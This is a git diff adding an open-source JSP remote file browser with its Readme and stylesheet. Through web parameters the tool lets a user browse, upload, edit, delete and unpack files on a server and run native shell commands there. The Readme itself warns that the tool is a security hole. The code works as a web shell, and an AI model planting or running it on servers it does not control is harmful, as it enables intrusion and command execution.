null) { // handle the case where we are not in a directory (ex: war file) + path = new File(".").getAbsolutePath(); + } + //Check path + if (!isAllowed(new File(path), false)){ + //TODO Blacklist + if (RESTRICT_PATH.indexOf(";")<0) path = RESTRICT_PATH; + else path = RESTRICT_PATH.substring(0, RESTRICT_PATH.indexOf(";")); + } + request.setAttribute("dir", path); + }%> + + + + + + + +<% + //If a cssfile exists, it will take it + String cssPath = null; + if (application.getRealPath(request.getRequestURI()) != null) cssPath = new File( + application.getRealPath(request.getRequestURI())).getParent() + + File.separator + CSS_NAME; + if (cssPath == null) cssPath = application.getResource(CSS_NAME).toString(); + if (new File(cssPath).exists()) { +%> + + <%} + else if (request.getParameter("uplMonitor") == null) {%> + + <%} + + //Check path + if (!isAllowed(new File((String)request.getAttribute("dir")), false)){ + request.setAttribute("error", "You are not allowed to access " + request.getAttribute("dir")); + } + //Upload monitor + else if (request.getParameter("uplMonitor") != null) {%> + <% + String fname = request.getParameter("uplMonitor"); + //First opening + boolean first = false; + if (request.getParameter("first") != null) first = true; + UplInfo info = new UplInfo(); + if (!first) { + info = UploadMonitor.getInfo(fname); + if (info == null) { + //Windows + int posi = fname.lastIndexOf("\\"); + if (posi != -1) info = UploadMonitor.getInfo(fname.substring(posi + 1)); + } + if (info == null) { + //Unix + int posi = fname.lastIndexOf("/"); + if (posi != -1) info = UploadMonitor.getInfo(fname.substring(posi + 1)); + } + } + dir_view = false; + request.setAttribute("dir", null); + if (info.aborted) { + UploadMonitor.remove(fname); + %> + + +Upload of <%=fname%>

    +Upload aborted. +<% + } + else if (info.totalSize != info.currSize || info.currSize == 0) { + %> + + + +Upload of <%=fname%>

    +
    + + +
    +<%=convertFileSize(info.currSize)%> from <%=convertFileSize(info.totalSize)%> +(<%=info.getPercent()%> %) uploaded (Speed: <%=info.getUprate()%>).
    +Time: <%=info.getTimeElapsed()%> from <%=info.getTimeEstimated()%> + +<% + } + else { + UploadMonitor.remove(fname); + %> + + +Upload of <%=fname%>

    +Upload finished. + +<% + } + } + //Comandwindow + else if (request.getParameter("command") != null) { + if (!NATIVE_COMMANDS){ + request.setAttribute("error", "Execution of native commands is not allowed!"); + } + else if (!"Cancel".equalsIgnoreCase(request.getParameter("Submit"))) { +%> +Launch commands in <%=request.getAttribute("dir")%> + +
    +

    <%=LAUNCH_COMMAND %>


    +<% + out.println("
    \n" + + " + "> +

    + + + +
    + Command: +
    + "> +
    +
    +
    +
    +
    + jsp File Browser version <%= VERSION_NR%> by www.vonloesch.de +
    +
    + + +<% + dir_view = false; + request.setAttribute("dir", null); + } + } + + //Click on a filename, special viewer (zip+jar file) + else if (request.getParameter("file") != null) { + File f = new File(request.getParameter("file")); + if (!isAllowed(f, false)){ + request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath()); + } + else if (isPacked(f.getName(), false)) { + //ZipFile + try { + ZipFile zf = new ZipFile(f); + Enumeration entries = zf.entries(); +%> +<%= f.getAbsolutePath()%> + + +

    Content of <%=conv2Html(f.getName())%>


    + + +<% + long size = 0; + int fileCount = 0; + while (entries.hasMoreElements()) { + ZipEntry entry = (ZipEntry) entries.nextElement(); + if (!entry.isDirectory()) { + fileCount++; + size += entry.getSize(); + long ratio = 0; + if (entry.getSize() != 0) ratio = (entry.getCompressedSize() * 100) + / entry.getSize(); + out.println(""); + + } + } + zf.close(); + //No directory view + dir_view = false; + request.setAttribute("dir", null); +%> +
    NameUncompressed sizeCompressed sizeCompr. ratioDate
    " + conv2Html(entry.getName()) + + "" + convertFileSize(entry.getSize()) + "" + + convertFileSize(entry.getCompressedSize()) + "" + + ratio + "%" + "" + + dateFormat.format(new Date(entry.getTime())) + "
    +

    + <%=convertFileSize(size)%> in <%=fileCount%> files in <%=f.getName()%>. Compression ratio: <%=(f.length() * 100) / size%>% +

    + +<% + } + catch (ZipException ex) { + request.setAttribute("error", "Cannot read " + f.getName() + + ", no valid zip file"); + } + catch (IOException ex) { + request.setAttribute("error", "Reading of " + f.getName() + " aborted. Error: " + + ex); + } + } + } + // Upload + else if ((request.getContentType() != null) + && (request.getContentType().toLowerCase().startsWith("multipart"))) { + if (!ALLOW_UPLOAD){ + request.setAttribute("error", "Upload is forbidden!"); + } + response.setContentType("text/html"); + HttpMultiPartParser parser = new HttpMultiPartParser(); + boolean error = false; + try { + int bstart = request.getContentType().lastIndexOf("oundary="); + String bound = request.getContentType().substring(bstart + 8); + int clength = request.getContentLength(); + Hashtable ht = parser + .processData(request.getInputStream(), bound, tempdir, clength); + if (!isAllowed(new File((String)ht.get("dir")), false)){ + //This is a hack, cos we are writing to this directory + request.setAttribute("error", "You are not allowed to access " + ht.get("dir")); + error = true; + } + else if (ht.get("myFile") != null) { + FileInfo fi = (FileInfo) ht.get("myFile"); + File f = fi.file; + UplInfo info = UploadMonitor.getInfo(fi.clientFileName); + if (info != null && info.aborted) { + f.delete(); + request.setAttribute("error", "Upload aborted"); + } + else { + // Move file from temp to the right dir + String path = (String) ht.get("dir"); + if (!path.endsWith(File.separator)) path = path + File.separator; + if (!f.renameTo(new File(path + f.getName()))) { + request.setAttribute("error", "Cannot upload file."); + error = true; + f.delete(); + } + } + } + else { + request.setAttribute("error", "No file selected for upload"); + error = true; + } + request.setAttribute("dir", (String) ht.get("dir")); + } + catch (Exception e) { + request.setAttribute("error", "Error " + e + ". Upload aborted"); + error = true; + } + if (!error) request.setAttribute("message", "File upload correctly finished."); + } + // The form to edit a text file + else if (request.getParameter("editfile") != null) { + File ef = new File(request.getParameter("editfile")); + if (!isAllowed(ef, true)){ + request.setAttribute("error", "You are not allowed to access " + ef.getAbsolutePath()); + } + else{ +%> +Edit <%=conv2Html(request.getParameter("editfile"))%> + + +
    +

    Edit <%=conv2Html(request.getParameter("editfile"))%>


    +<% + BufferedReader reader = new BufferedReader(new FileReader(ef)); + String disable = ""; + if (!ef.canWrite()) disable = " readonly"; + out.println("
    \n" + + "

    + + "> + "> + + + + + + + +
    >Ms-Dos/Windows + >Unix + Write backup
    +
    + + "> + "> +
    +
    +
    +
    +
    + jsp File Browser version <%= VERSION_NR%> by www.vonloesch.de +
    + + +<% + } + } + // Save or cancel the edited file + else if (request.getParameter("nfile") != null) { + File f = new File(request.getParameter("nfile")); + if (request.getParameter("Submit").equals("Save")) { + File new_f = new File(getDir(f.getParent(), request.getParameter("new_name"))); + if (!isAllowed(new_f, true)){ + request.setAttribute("error", "You are not allowed to access " + new_f.getAbsolutePath()); + } + if (new_f.exists() && new_f.canWrite() && request.getParameter("Backup") != null) { + File bak = new File(new_f.getAbsolutePath() + ".bak"); + bak.delete(); + new_f.renameTo(bak); + } + if (new_f.exists() && !new_f.canWrite()) request.setAttribute("error", + "Cannot write to " + new_f.getName() + ", file is write protected."); + else { + BufferedWriter outs = new BufferedWriter(new FileWriter(new_f)); + StringReader text = new StringReader(request.getParameter("text")); + int i; + boolean cr = false; + String lineend = "\n"; + if (request.getParameter("lineformat").equals("dos")) lineend = "\r\n"; + while ((i = text.read()) >= 0) { + if (i == '\r') cr = true; + else if (i == '\n') { + outs.write(lineend); + cr = false; + } + else if (cr) { + outs.write(lineend); + cr = false; + } + else { + outs.write(i); + cr = false; + } + } + outs.flush(); + outs.close(); + } + } + request.setAttribute("dir", f.getParent()); + } + //Unpack file to the current directory without overwriting + else if (request.getParameter("unpackfile") != null) { + File f = new File(request.getParameter("unpackfile")); + String root = f.getParent(); + request.setAttribute("dir", root); + if (!isAllowed(new File(root), true)){ + request.setAttribute("error", "You are not allowed to access " + root); + } + //Check if file exists + else if (!f.exists()) { + request.setAttribute("error", "Cannot unpack " + f.getName() + + ", file does not exist"); + } + //Check if directory is readonly + else if (!f.getParentFile().canWrite()) { + request.setAttribute("error", "Cannot unpack " + f.getName() + + ", directory is write protected."); + } + //GZip + else if (f.getName().toLowerCase().endsWith(".gz")) { + //New name is old Name without .gz + String newName = f.getAbsolutePath().substring(0, f.getAbsolutePath().length() - 3); + try { + byte buffer[] = new byte[0xffff]; + copyStreams(new GZIPInputStream(new FileInputStream(f)), new FileOutputStream( + newName), buffer); + } + catch (IOException ex) { + request.setAttribute("error", "Unpacking of " + f.getName() + + " aborted. Error: " + ex); + } + } + //Else try Zip + else { + try { + ZipFile zf = new ZipFile(f); + Enumeration entries = zf.entries(); + //First check whether a file already exist + boolean error = false; + while (entries.hasMoreElements()) { + ZipEntry entry = (ZipEntry) entries.nextElement(); + if (!entry.isDirectory() + && new File(root + File.separator + entry.getName()).exists()) { + request.setAttribute("error", "Cannot unpack " + f.getName() + + ", File " + entry.getName() + " already exists."); + error = true; + break; + } + } + if (!error) { + //Unpack File + entries = zf.entries(); + byte buffer[] = new byte[0xffff]; + while (entries.hasMoreElements()) { + ZipEntry entry = (ZipEntry) entries.nextElement(); + File n = new File(root + File.separator + entry.getName()); + if (entry.isDirectory()) n.mkdirs(); + else { + n.getParentFile().mkdirs(); + n.createNewFile(); + copyStreams(zf.getInputStream(entry), new FileOutputStream(n), + buffer); + } + } + zf.close(); + request.setAttribute("message", "Unpack of " + f.getName() + + " was successful."); + } + } + catch (ZipException ex) { + request.setAttribute("error", "Cannot unpack " + f.getName() + + ", no valid zip file"); + } + catch (IOException ex) { + request.setAttribute("error", "Unpacking of " + f.getName() + + " aborted. Error: " + ex); + } + } + } + // Delete Files + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(DELETE_FILES))) { + Vector v = expandFileList(request.getParameterValues("selfile"), true); + boolean error = false; + //delete backwards + for (int i = v.size() - 1; i >= 0; i--) { + File f = (File) v.get(i); + if (!isAllowed(f, true)){ + request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath()); + error = true; + break; + } + if (!f.canWrite() || !f.delete()) { + request.setAttribute("error", "Cannot delete " + f.getAbsolutePath() + + ". Deletion aborted"); + error = true; + break; + } + } + if ((!error) && (v.size() > 1)) request.setAttribute("message", "All files deleted"); + else if ((!error) && (v.size() > 0)) request.setAttribute("message", "File deleted"); + else if (!error) request.setAttribute("error", "No files selected"); + } + // Create Directory + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(CREATE_DIR))) { + String dir = "" + request.getAttribute("dir"); + String dir_name = request.getParameter("cr_dir"); + String new_dir = getDir(dir, dir_name); + if (!isAllowed(new File(new_dir), true)){ + request.setAttribute("error", "You are not allowed to access " + new_dir); + } + else if (new File(new_dir).mkdirs()) { + request.setAttribute("message", "Directory created"); + } + else request.setAttribute("error", "Creation of directory " + new_dir + " failed"); + } + // Create a new empty file + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(CREATE_FILE))) { + String dir = "" + request.getAttribute("dir"); + String file_name = request.getParameter("cr_dir"); + String new_file = getDir(dir, file_name); + if (!isAllowed(new File(new_file), true)){ + request.setAttribute("error", "You are not allowed to access " + new_file); + } + // Test, if file_name is empty + else if (!"".equals(file_name.trim()) && !file_name.endsWith(File.separator)) { + if (new File(new_file).createNewFile()) request.setAttribute("message", + "File created"); + else request.setAttribute("error", "Creation of file " + new_file + " failed"); + } + else request.setAttribute("error", "Error: " + file_name + " is not a valid filename"); + } + // Rename a file + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(RENAME_FILE))) { + Vector v = expandFileList(request.getParameterValues("selfile"), true); + String dir = "" + request.getAttribute("dir"); + String new_file_name = request.getParameter("cr_dir"); + String new_file = getDir(dir, new_file_name); + if (!isAllowed(new File(new_file), true)){ + request.setAttribute("error", "You are not allowed to access " + new_file); + } + // The error conditions: + // 1) Zero Files selected + else if (v.size() <= 0) request.setAttribute("error", + "Select exactly one file or folder. Rename failed"); + // 2a) Multiple files selected and the first isn't a dir + // Here we assume that expandFileList builds v from top-bottom, starting with the dirs + else if ((v.size() > 1) && !(((File) v.get(0)).isDirectory())) request.setAttribute( + "error", "Select exactly one file or folder. Rename failed"); + // 2b) If there are multiple files from the same directory, rename fails + else if ((v.size() > 1) && ((File) v.get(0)).isDirectory() + && !(((File) v.get(0)).getPath().equals(((File) v.get(1)).getParent()))) { + request.setAttribute("error", "Select exactly one file or folder. Rename failed"); + } + else { + File f = (File) v.get(0); + if (!isAllowed(f, true)){ + request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath()); + } + // Test, if file_name is empty + else if ((new_file.trim() != "") && !new_file.endsWith(File.separator)) { + if (!f.canWrite() || !f.renameTo(new File(new_file.trim()))) { + request.setAttribute("error", "Creation of file " + new_file + " failed"); + } + else request.setAttribute("message", "Renamed file " + + ((File) v.get(0)).getName() + " to " + new_file); + } + else request.setAttribute("error", "Error: \"" + new_file_name + + "\" is not a valid filename"); + } + } + // Move selected file(s) + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(MOVE_FILES))) { + Vector v = expandFileList(request.getParameterValues("selfile"), true); + String dir = "" + request.getAttribute("dir"); + String dir_name = request.getParameter("cr_dir"); + String new_dir = getDir(dir, dir_name); + if (!isAllowed(new File(new_dir), false)){ + request.setAttribute("error", "You are not allowed to access " + new_dir); + } + else{ + boolean error = false; + // This ensures that new_dir is a directory + if (!new_dir.endsWith(File.separator)) new_dir += File.separator; + for (int i = v.size() - 1; i >= 0; i--) { + File f = (File) v.get(i); + if (!isAllowed(f, true)){ + request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath()); + error = true; + break; + } + else if (!f.canWrite() || !f.renameTo(new File(new_dir + + f.getAbsolutePath().substring(dir.length())))) { + request.setAttribute("error", "Cannot move " + f.getAbsolutePath() + + ". Move aborted"); + error = true; + break; + } + } + if ((!error) && (v.size() > 1)) request.setAttribute("message", "All files moved"); + else if ((!error) && (v.size() > 0)) request.setAttribute("message", "File moved"); + else if (!error) request.setAttribute("error", "No files selected"); + } + } + // Copy Files + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(COPY_FILES))) { + Vector v = expandFileList(request.getParameterValues("selfile"), true); + String dir = (String) request.getAttribute("dir"); + if (!dir.endsWith(File.separator)) dir += File.separator; + String dir_name = request.getParameter("cr_dir"); + String new_dir = getDir(dir, dir_name); + if (!isAllowed(new File(new_dir), true)){ + request.setAttribute("error", "You are not allowed to access " + new_dir); + } + else{ + boolean error = false; + if (!new_dir.endsWith(File.separator)) new_dir += File.separator; + try { + byte buffer[] = new byte[0xffff]; + for (int i = 0; i < v.size(); i++) { + File f_old = (File) v.get(i); + File f_new = new File(new_dir + f_old.getAbsolutePath().substring(dir.length())); + if (!isAllowed(f_old, false)|| !isAllowed(f_new, true)){ + request.setAttribute("error", "You are not allowed to access " + f_new.getAbsolutePath()); + error = true; + } + else if (f_old.isDirectory()) f_new.mkdirs(); + // Overwriting is forbidden + else if (!f_new.exists()) { + copyStreams(new FileInputStream(f_old), new FileOutputStream(f_new), buffer); + } + else { + // File exists + request.setAttribute("error", "Cannot copy " + f_old.getAbsolutePath() + + ", file already exists. Copying aborted"); + error = true; + break; + } + } + } + catch (IOException e) { + request.setAttribute("error", "Error " + e + ". Copying aborted"); + error = true; + } + if ((!error) && (v.size() > 1)) request.setAttribute("message", "All files copied"); + else if ((!error) && (v.size() > 0)) request.setAttribute("message", "File copied"); + else if (!error) request.setAttribute("error", "No files selected"); + } + } + // Directory viewer + if (dir_view && request.getAttribute("dir") != null) { + File f = new File("" + request.getAttribute("dir")); + //Check, whether the dir exists + if (!f.exists() || !isAllowed(f, false)) { + if (!f.exists()){ + request.setAttribute("error", "Directory " + f.getAbsolutePath() + " does not exist."); + } + else{ + request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath()); + } + //if attribute olddir exists, it will change to olddir + if (request.getAttribute("olddir") != null && isAllowed(new File((String) request.getAttribute("olddir")), false)) { + f = new File("" + request.getAttribute("olddir")); + } + //try to go to the parent dir + else { + if (f.getParent() != null && isAllowed(f, false)) f = new File(f.getParent()); + } + //If this dir also do also not exist, go back to browser.jsp root path + if (!f.exists()) { + String path = null; + if (application.getRealPath(request.getRequestURI()) != null) path = new File( + application.getRealPath(request.getRequestURI())).getParent(); + + if (path == null) // handle the case were we are not in a directory (ex: war file) + path = new File(".").getAbsolutePath(); + f = new File(path); + } + if (isAllowed(f, false)) request.setAttribute("dir", f.getAbsolutePath()); + else request.setAttribute("dir", null); + } +%> + +<%=request.getAttribute("dir")%> + + +<% + //Output message + if (request.getAttribute("message") != null) { + out.println("
    "); + out.println(request.getAttribute("message")); + out.println("
    "); + } + //Output error + if (request.getAttribute("error") != null) { + out.println("
    "); + out.println(request.getAttribute("error")); + out.println("
    "); + } + if (request.getAttribute("dir") != null){ +%> + +
    + Filename filter: +

    + +<% + // Output the table, starting with the headers. + String dir = URLEncoder.encode("" + request.getAttribute("dir")); + String cmd = browser_name + "?dir=" + dir; + int sortMode = 1; + if (request.getParameter("sort") != null) sortMode = Integer.parseInt(request + .getParameter("sort")); + int[] sort = new int[] {1, 2, 3, 4}; + for (int i = 0; i < sort.length; i++) + if (sort[i] == sortMode) sort[i] = -sort[i]; + out.print("" + + "" + + "" + + "" + + ""); + if (!READ_ONLY) out.print (""); + out.println(""); + char trenner = File.separatorChar; + // Output the Root-Dirs, without FORBIDDEN_DRIVES + File[] entry = File.listRoots(); + for (int i = 0; i < entry.length; i++) { + boolean forbidden = false; + for (int i2 = 0; i2 < FORBIDDEN_DRIVES.length; i2++) { + if (entry[i].getAbsolutePath().toLowerCase().equals(FORBIDDEN_DRIVES[i2])) forbidden = true; + } + if (!forbidden) { + out.println(""); + out.println(""); + } + } + // Output the parent directory link ".." + if (f.getParent() != null) { + out.println(""); + out.println(""); + } + // Output all files and dirs and calculate the number of files and total size + entry = f.listFiles(); + if (entry == null) entry = new File[] {}; + long totalSize = 0; // The total size of the files in the current directory + long fileCount = 0; // The count of files in the current working directory + if (entry != null && entry.length > 0) { + Arrays.sort(entry, new FileComp(sortMode)); + for (int i = 0; i < entry.length; i++) { + String name = URLEncoder.encode(entry[i].getAbsolutePath()); + String type = "File"; // This String will tell the extension of the file + if (entry[i].isDirectory()) type = "DIR"; // It's a DIR + else { + String tempName = entry[i].getName().replace(' ', '_'); + if (tempName.lastIndexOf('.') != -1) type = tempName.substring( + tempName.lastIndexOf('.')).toLowerCase(); + } + String ahref = ""; + String link = buf; // The standard view link, uses Mime-type + if (entry[i].isDirectory()) { + if (entry[i].canRead() && USE_DIR_PREVIEW) { + //Show the first DIR_PREVIEW_NUMBER directory entries in a tooltip + File[] fs = entry[i].listFiles(); + if (fs == null) fs = new File[] {}; + Arrays.sort(fs, new FileComp()); + StringBuffer filenames = new StringBuffer(); + for (int i2 = 0; (i2 < fs.length) && (i2 < 10); i2++) { + String fname = conv2Html(fs[i2].getName()); + if (fs[i2].isDirectory()) filenames.append("[" + fname + "];"); + else filenames.append(fname + ";"); + } + if (fs.length > DIR_PREVIEW_NUMBER) filenames.append("..."); + else if (filenames.length() > 0) filenames + .setLength(filenames.length() - 1); + link = ahref + "dir=" + name + "\" title=\"" + filenames + "\">" + + FOL_IMG + "[" + buf + "]"; + } + else if (entry[i].canRead()) { + link = ahref + "dir=" + name + "\">" + FOL_IMG + "[" + buf + "]"; + } + else link = FOL_IMG + "[" + buf + "]"; + } + else if (entry[i].isFile()) { //Entry is file + totalSize = totalSize + entry[i].length(); + fileCount = fileCount + 1; + if (entry[i].canRead()) { + dlink = ahref + "downfile=" + name + "\">Download"; + //If you click at the filename + if (USE_POPUP) link = ahref + "file=" + name + "\" target=\"_blank\">" + + buf + ""; + else link = ahref + "file=" + name + "\">" + buf + ""; + if (entry[i].canWrite()) { // The file can be edited + //If it is a zip or jar File you can unpack it + if (isPacked(name, true)) elink = ahref + "unpackfile=" + name + + "\">Unpack"; + else elink = ahref + "editfile=" + name + "\">Edit"; + } + else { // If the file cannot be edited + //If it is a zip or jar File you can unpack it + if (isPacked(name, true)) elink = ahref + "unpackfile=" + name + + "\">Unpack"; + else elink = ahref + "editfile=" + name + "\">View"; + } + } + else { + link = buf; + } + } + String date = dateFormat.format(new Date(entry[i].lastModified())); + out.println(""); + if (entry[i].canRead()) { + out.println(""); + } + else { + out.println(""); + } + out.print(""); + if (entry[i].isDirectory()) out.print(""); + else { + out.print(""); + } + out.println(""); // The download link + if (!READ_ONLY) + out.print (""); // The edit link (or view, depending) + out.println(""); + } + }%> +
     NameSizeTypeDate  
     "); + String name = URLEncoder.encode(entry[i].getAbsolutePath()); + String buf = entry[i].getAbsolutePath(); + out.println("  [" + buf + "]"); + out.print("    
    "); + out.println("  " + FOL_IMG + "[..]"); + out.print("    
     " + link + " " + + convertFileSize(entry[i].length()) + "" + type + "  " + // The file type (extension) + date + "" + // The date the file was created + dlink + "" + elink + "
    + Select all +

    + + <%=convertFileSize(totalSize)%> in <%=fileCount%> files in <%= dir2linkdir((String) request.getAttribute("dir"), browser_name, sortMode)%> + +

    + "> + + + <% if (!READ_ONLY) {%> + + <% } %> + <% if (!READ_ONLY) {%> +
    + + + + + + + <% } %> +
    +
    +
    + <% if (ALLOW_UPLOAD) { %> +
    + "> + + + +
    + <%} %> + <% if (NATIVE_COMMANDS) {%> +
    + "> + + + +
    <% + }%> +
    + <%}%> +
    +
    + jsp File Browser version <%= VERSION_NR%> by www.vonloesch.de +
    + +<% + } +%> \ No newline at end of file diff --git a/jsp/jspbrowser/Readme.txt b/jsp/jspbrowser/Readme.txt new file mode 100644 index 0000000..337872d --- /dev/null +++ b/jsp/jspbrowser/Readme.txt @@ -0,0 +1,279 @@ +jsp File Browser version 1.2 +-------------------------------------------------------------------------------------- + +------------------------IMPORTANT + +With this jsp you can destroy important files on your system, it also could be +a serious security hole on your server. +Use this script only, if you know what you do. There is no warranty of any kind. + +------------------------REQUIREMENTS + +To use the File browser, you need a JSP1.1 compatible Web Server like Tomcat, Resin +or Jetty. +If you use the browser on webspace provided by an internet service provider, +it could be, that you are not allowed to go in some directories or execute +commands on the server, this will result in an exception. + +------------------------INSTALLATION + +Just copy the jsp file to any configured Web application. The author recommends to +protect the directory you copy the file into by password, to avoid abuse. + +------------------------SETTINGS + +If you want to change the standard style, you can create a css file in the directory +where Browser.jsp is located with the name "Browser.css". If you want choose another name +change this line in Browser.jsp: + private static final String CSS_NAME = "Browser.css"; +For the syntax, look at the example css file. + +If you click on a filename, the file will be opened in an new window. If you want that file +opened in your current window, change this line: + private static final boolean USE_POPUP = true; +to + private static final boolean USE_POPUP = false; + +If you hold the mouse cursor over a directory name, a tooltip with +the first ten entries of this directory show up. This feature can lead to performance issues. If +you observe slow loading times you should change this line: + private static final boolean USE_DIR_PREVIEW = true; +to + private static final boolean USE_DIR_PREVIEW = false; + +You could also change the number of entries in the preview by changing this line: + private static final int DIR_PREVIEW_NUMBER = 10; + +If you would like to execute commands on the server, you have to specify a +command line interpreter and the parameter to execute a command. +This is the parameter for windows: + private static final String[] COMMAND_INTERPRETER = {"cmd","/C"}; + +The maximum time in ms a command is allowed to run before it will be terminated is specified +by this line: + private static final long MAX_PROCESS_RUNNING_TIME = 30000; + +You can restrict file browsing and manipulation by setting + private static final boolean RESTRICT_BROWSING = true; +You can choose between whitelist restriction, that means the user is allowed to browse only in +directories, which are lower than RESTRICT_PATH, or blacklist restriction, which allows +the user to access all directories besides RESTRICT_PATH. + private static final boolean RESTRICT_WHITELIST = true; +You can set more than one directory in RESTRICT_PATH, seperated by semicolon. + +It is also possible to make the file browser read-only. All operations which change the +file structure (besides upload and native command execution) are forbidden and turned off. +To achieve this change + private static final boolean READ_ONLY = false; +to + private static final boolean READ_ONLY = true; +. + +You can also turn off upload with + private static final boolean ALLOW_UPLOAD = false; . + +If you restrict file access it is also recommend to forbid native command execution by +changing + private static final boolean NATIVE_COMMANDS = true; +to + private static final boolean NATIVE_COMMANDS = false; +. + +------------------------USAGE + +This JSP program allows remote web-based file access and manipulation. +You can copy, create, move, rename and delete files. +Text files can be edited and groups of files and folders can be downloaded +as a single zip file that is created on the fly. + +http://server/webapp/Browser.jsp +or +http://server/webapp/Browser.jsp?dir=[Directory on the server] + +You do not need a javascript capable browser, but it looks nicer with it. + +If you want to copy or move a file, please enter the target directory name in the +edit field (absolute or relative). If you want to create a new file or directory, +enter the name in the edit field. + +If you click on a header name (e.g. size) the entries will be sorted by this property. +If you click two times, they will be sorted descending. + +The button "Download as zip" let you download the selected directories and files packed as +one zip file. + +The buttons "Delete Files", "Move Files", "Copy Files", delete, move and copy also selected +directories with subdirectories. + +If you click on a .zip or .jar filename, you will see the entries of the packed file. +You can unpack .zip, .jar and .gz direct on the server. For this filetype the entry in the +last column is "Unpack". If you click at the "Unpack" link, the file will be unpacked in +the current folder. Note, that you can only unpack a file, if no entry of the packed file +already exist in the directory (no overwriting). If you want to unpack this file, you have +to delete the files on the server which correspond to the entries. This feature is very useful, +if you would like to upload more than one file. Zip the files together on your computer, +then upload the zip file and extract it on the server. + +You can execute commands on the server (if you are allowed to) by clicking the "Launch command" +button, but beware that you cannot interact with the program. If the execution time of the program +is longer than MAX_PROCESS_RUNNING_TIME (standard: 30 sec.) the program will be killed. + +If you click on a file, it will be shown, if the MIME Type is supported. +The following MIME Types are supported: + +.png image/png +.jpg, .jpeg image/jpeg +.gif image/gif +.tiff image/tiff +.svg image/svg+xml +.pdf application/pdf +.htm, .html, .shtml text/html +.xml text/xml +.avi video/x-msvideo +.mov video/quicktime +.mpg, .mpeg, .mpe video/mpeg +.rtf application/rtf +.mid, .midi, audio/x-midi +.xl,.xls,.xlv,.xla,.xlb,.xlt,.xlm,.xlk application/excel +.doc, .dot application/msword +.mp3 audio/mp3 +.ogg audio/ogg +else text/plain + +------------------------SHORTKEYS + +You can use the following shortkeys for better handling: + +r Rename file +m Move file +y Copy file +Del Delete file +l Launch command +z Download selected files as zip +c Create file +d Create directory + +------------------------KNOWN BUGS + +The JVM from windows will sometimes displays a message box on the server, +if you try to access an empty removable drive. There will be no respond from +the server until the message box is closed. +If someone knows how to fix this, please write me a mail. +Removable drives will not be shown on the list, if you add them to this +property: + +private static final String[] FORBIDDEN_DRIVES= {"a:\\"} +like e.g. +private static final String[] FORBIDDEN_DRIVES= {"a:\\", "d:\\", "e:\\"} + +------------------------CONTACT + +Boris von Loesch +boris@vonloesch.de + +------------------------CHANGELOG +1.2 (21.07.2006) +- Shortkeys +- Filter file table +- Fix a bug which appears with Tomcat +- Add parameter to turn jsp filebrowser to a read-only version +- Add parameter to disallow uploads (even in the read-only version) +- Nicer layout +- Javascript will now be cached by the browser therefore smaller page size +- Turned off directory preview by default, because it uses too much resources + +1.1a (27.08.2004) +- killed a bug, which appears if you view or download files +- fix upload time display + +1.1 (20.08.2004) +- Upload monitor +- Restrict file access + +1.0 (13.04.2004) +- if you click two times on a table header, it will be sorted descending +- sort parameter is memorized +- bugfixes (14,11,15) +- added some mime types + +1.0RC2 (02.02.2004) +- only bugfixes (3,4,6,9) + +1.0RC1 (17.11.2003) +Thanks to David Cowan for code contribution (buffering), bug fixing and testing +- execute native shell commands +- quick change to lower directories paths +- solve homepath problem with Oracle oc4j +- remove two bugs in the upload routine +- add war file unpack and view support +- remove some html errors (page is now valid HTML 4.1 Transitional) +- add buffering for download of files and zip file creation, this increases the speed + +0.6 (14.10.2003) +Thanks to David Levine for bug fixes +- Refactor parts of the code +- Viewing and unpacking of .zip, .jar and .gz files on the server +- Customizable layout via external css file (optional) +- Distinction between error and success messages +- Open File in a new window +- "Select all" checkbox +- More options +- Some small changes and bugfixes + +0.5 (20.08.2003) +Greetings to Taylor Bastien who contributed a lot of code for this release +- Renaming of files +- File extension in an extra column +- variable filesize unit (bytes, KB or MB) +- Directory preview via tooltip (simple hold the mousecursor over a directory name and + a tooltip with the first ten entries will appear) +- Summary (number and size of all files in the current directory) +- Text editor can save files with dos/windows or unix line ending +- many small changes + +0.4 (17.05.2003) +- It does not longer need a temporary directory ! +- Jsp 1.1 compatible (works now also in Tomcat 3) +- The file editor can now save the edited file with a new name and can make a backup +- selected row is marked by color and the checkbox can be selected by click at any place in the row + (works only with Javascript) +- some new MIME types (xml, png, svg) +- unreadable files and directories are marked (not selectable) +- write protected files and directories are marked (italic) +- if no dir parameter is assigned, the home directory of the browser will be displayed +- some bugs killed + +0.3 +- Output is HTML 4.01 conform, should now be netscape>4 compatible +- Messages to indicate the status of an operation +- Many bugs killed +- Tooltips + +0.2 +- First release + +CREDITS +Taylor Bastien +David Levine +David Cowan +Lieven Govaerts + +LICENSE + +jsp File browser +Copyright (C) 2003-2006 Boris von Loesch + +This program is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the +Free Software Foundation; either version 2 of the License, or (at your option) +any later version. + +This program is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or +FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + +You should have received a copy of the GNU General Public License along with +this program; if not, write to the +Free Software Foundation, Inc., +59 Temple Place, Suite 330, +Boston, MA 02111-1307 USA diff --git a/jsp/jspbrowser/example-css.css b/jsp/jspbrowser/example-css.css new file mode 100644 index 0000000..cdbbbd9 --- /dev/null +++ b/jsp/jspbrowser/example-css.css @@ -0,0 +1,50 @@ +input.button { background-color: #EF9C00; + color: #8C5900; + border: 2px outset #EF9C00; } +input.button:Hover { color: #444444 } + +input { background-color:#FDEBCF; + border: 2px inset #FDEBCF } + +table.filelist { background-color:#FDE2B8; + width:100%; + border:3px solid #ffffff } +th { background-color:#BC001D; + font-size: 10pt; + color:#022F55 } + +tr.mouseout { background-color:#F5BA5C; } +tr.mouseout td {border:1px solid #F5BA5C;} + +tr.mousein { background-color:#EF9C00; } +tr.mousein td { border-top:1px solid #3399ff; + border-bottom:1px solid #3399FF; + border-left:1px solid #EF9C00; + border-right:1px solid #EF9C00; } +tr.checked { background-color:#B57600 } +tr.checked td {border:1px solid #B57600;} + +tr.mousechecked { background-color:#8C5900 } 